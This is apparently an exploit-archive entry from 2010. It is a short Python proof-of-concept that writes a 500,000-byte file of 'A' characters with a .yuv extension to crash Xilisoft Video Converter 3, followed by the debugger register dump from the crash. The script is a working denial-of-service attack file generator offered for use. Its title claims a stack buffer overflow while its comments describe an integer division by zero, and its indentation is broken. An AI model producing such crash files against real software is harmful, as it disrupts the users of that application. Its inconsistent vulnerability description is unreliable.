Xilisoft Video Converter(.yuv file) Stack buffer Overflow Poc

2010-03-18
ID: 9701
CVE: None
Download vulnerable application: None
#! /usr/bin/python
#
# 
# Homepage: www.xilisoft.com
# #############################################################################
# Credit : ItSecTeam
# Web:  WwW.ITSecTeam.com
#############################################################################
# Bug: Integer Division By Zero
# Tested in : Windows XP SP3 EN
# Tested version : 3   = Crash
# Usage: ./Xilisoft-poc.py
# #############################################################################
# 102DFDAB: Integer divide by zero (exc.code c0000094, tid 2908)
# EAX 00000000  ECX 00000000 EBX 00000001 ESP 000E629C EBP 025B3270 
# ESI 00000000 EDI 00000000 EIP 102DFDAB avcodec.102DFDAB
 try:
        file=open("Xilisoft-poc.yuv",'w')
        Buff = "\x41" *500000
        file.write( Buff )
        file.close()
        print   ("[+] File created successfully: Xilisoft-poc.yuv" )
except:
        print "[-] Error cant write file to system\n"
1-4-2 (www02)